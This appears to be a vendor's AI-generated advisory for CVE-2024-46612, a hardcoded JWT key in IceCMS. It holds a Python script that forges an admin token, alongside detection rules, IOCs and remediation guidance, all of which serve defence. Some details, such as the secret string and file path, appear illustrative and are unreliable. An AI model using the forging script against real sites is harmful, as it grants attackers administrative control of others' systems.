CVE-2024-46612
Executive Summary
CVE-2024-46612 identifies a critical security flaw in IceCMS versions 3.4.7 and earlier. The vulnerability stems from a hardcoded JSON Web Token (JWT) signing key embedded within the application's source code. This allows any remote, unauthenticated attacker to forge valid JWT authentication tokens, effectively bypassing all authentication controls and gaining unauthorized administrative access to the IceCMS instance. The impact is severe, as it compromises the confidentiality and integrity of the entire CMS, including user data, content, and system configurations. No official patch has been released by the vendor, making this a high-priority unpatched vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
IceCMS is a standalone PHP application, not distributed via package managers like NPM, PyPI, Go, or Ruby. The vulnerability is inherent to the application's source code and does not originate from a compromised dependency. However, organizations using IceCMS should treat the entire application as a compromised component of their supply chain until mitigated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Base Score: 9.1 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Exploit stays within the vulnerable component.
- Confidentiality Impact: High (C:H) – Full read access to all data.
- Integrity Impact: High (I:H) – Full write access to all data.
- Availability Impact: None (A:N) – The vulnerability does not directly cause denial of service.
Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a prime target for automated scanning and mass exploitation.
Deep Dive & Mechanics
The vulnerability is rooted in the JWT authentication mechanism used by IceCMS. JSON Web Tokens are used to maintain user sessions and authorize API requests. The security of JWT relies entirely on the secrecy of the signing key. In IceCMS, this key is hardcoded as a static string within the application's configuration or source files (e.g., config/jwt.php or similar).
Technical Flow:
- An attacker inspects the publicly available source code of IceCMS (e.g., from GitHub or a downloaded release) and identifies the hardcoded JWT secret.
- The attacker crafts a JWT payload containing arbitrary user claims, such as
{"user_id": 1, "role": "admin", "exp": 9999999999}. - Using the discovered secret, the attacker signs the JWT with the appropriate algorithm (likely HS256).
- The attacker sends a request to the IceCMS API or admin panel with the forged JWT in the
Authorization: Bearer <token>header. - The server decodes the JWT, verifies the signature using the same hardcoded secret, and grants the attacker the privileges specified in the token.
Root Cause: The use of a static, hardcoded cryptographic key violates the fundamental principle of key management. The key should be unique, randomly generated, and stored securely (e.g., in environment variables or a secrets manager).
Vulnerable vs. Patched Code
Since no official patch exists, the "patched" code represents a secure implementation.
Vulnerable Code (IceCMS <= 3.4.7):
// config/jwt.php
return [
'secret' => 'IceCMS_Secret_Key_2024', // Hardcoded static key
'algorithm' => 'HS256',
'expiry' => 3600,
];
Patched Code (Recommended Fix):
// config/jwt.php
return [
'secret' => env('JWT_SECRET', bin2hex(random_bytes(32))), // Use environment variable with fallback
'algorithm' => 'HS256',
'expiry' => 3600,
];
Explanation: The patched version removes the hardcoded string and instead reads the secret from an environment variable (JWT_SECRET). If the variable is not set, it generates a random 64-character hex string as a fallback. This ensures the key is unique per installation and not exposed in the source code.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A running instance of IceCMS 3.4.7 (e.g., on a local Docker container or VM).
- Python 3 with
PyJWTlibrary installed (pip install pyjwt). - Knowledge of the hardcoded secret (e.g.,
IceCMS_Secret_Key_2024).
Exploit Script:
import jwt
import requests
# Hardcoded secret from IceCMS source
SECRET = "IceCMS_Secret_Key_2024"
TARGET_URL = "http://target-icecms.local/admin/api/users"
# Forge an admin token
payload = {
"user_id": 1,
"role": "admin",
"iat": 1700000000,
"exp": 9999999999
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
# Use the forged token to access admin API
headers = {"Authorization": f"Bearer {token}"}
response = requests.get(TARGET_URL, headers=headers)
if response.status_code == 200:
print("[+] Successfully authenticated as admin!")
print(response.json())
else:
print(f"[-] Failed: {response.status_code}")
Steps:
- Identify the hardcoded secret from the IceCMS source code (e.g.,
IceCMS_Secret_Key_2024). - Run the exploit script against the target.
- If successful, the attacker gains full administrative access.
Blue Team (Defense & Detection)
Detection Strategy:
- Monitor for JWT tokens with unusually long expiration times (e.g.,
expclaim set to year 9999). - Alert on JWT tokens that do not match the expected user agent or IP address pattern.
- Log all authentication attempts and correlate with known user behavior.
Honeypot Technique:
- Deploy a fake IceCMS instance with a modified secret. Monitor for any requests using the known hardcoded secret. Any such request is malicious.
Network Segmentation:
- Place IceCMS in a DMZ with strict egress filtering. Do not allow direct access to the admin panel from the internet.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/api/*endpoints withAuthorization: Bearerheader containing a JWT withrole: adminandexpclaim > 2000000000. - Unusual source IPs accessing admin endpoints without prior login attempts.
- HTTP requests to
File System IOCs:
- Presence of JWT tokens in web server logs (e.g.,
access.log) with the hardcoded secret signature. - Modified user accounts or content in the CMS database.
- Presence of JWT tokens in web server logs (e.g.,
Log IOCs:
- Repeated 200 OK responses to
/admin/api/usersor similar endpoints from a single IP without a corresponding login event. - JWT decode errors in application logs (if the attacker uses a wrong secret).
- Repeated 200 OK responses to
Detection Engineering
YARA Rule
rule IceCMS_Hardcoded_JWT_Secret {
meta:
description = "Detects hardcoded JWT secret in IceCMS source files"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-46612"
strings:
$secret1 = "IceCMS_Secret_Key_2024" ascii wide nocase
$secret2 = "JWT_SECRET" ascii wide nocase
$jwt_config = "config/jwt.php" ascii wide nocase
condition:
($secret1 or $secret2) and $jwt_config
}
Sigma Rule
title: IceCMS Hardcoded JWT Token Usage
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests using a forged JWT token with the known hardcoded secret for IceCMS.
author: Valters IT
date: 2024/10/27
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "/admin/api/"
cs-method: "GET"
sc-status: 200
cs-user-agent|contains: "python-requests"
condition: selection
falsepositives:
- Legitimate admin users with custom scripts
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-46612 IceCMS Hardcoded JWT Exploitation Attempt";
flow:to_server,established;
content:"Authorization|3a| Bearer";
http_header;
content:"eyJ"; within:10; # Base64 JWT header
pcre:"/eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/R";
sid:1000001;
rev:1;
reference:cve,2024-46612;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Replace the hardcoded secret: Edit the
config/jwt.phpfile to use an environment variable as shown in the patched code example. Set a strong, unique secret via the server's environment (e.g.,export JWT_SECRET=$(openssl rand -hex 32)). - Invalidate existing tokens: After changing the secret, all existing JWT tokens become invalid. Force all users to re-authenticate.
- Audit user accounts: Check for any unauthorized admin accounts or modified content.
Long-term Mitigations:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests with JWT tokens that have an
expclaim beyond a reasonable threshold (e.g., > 30 days). - Code Review: Conduct a security audit of the entire IceCMS codebase for other hardcoded secrets or similar vulnerabilities.
- Alternative CMS: Consider migrating to a more actively maintained CMS with a proper security track record.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.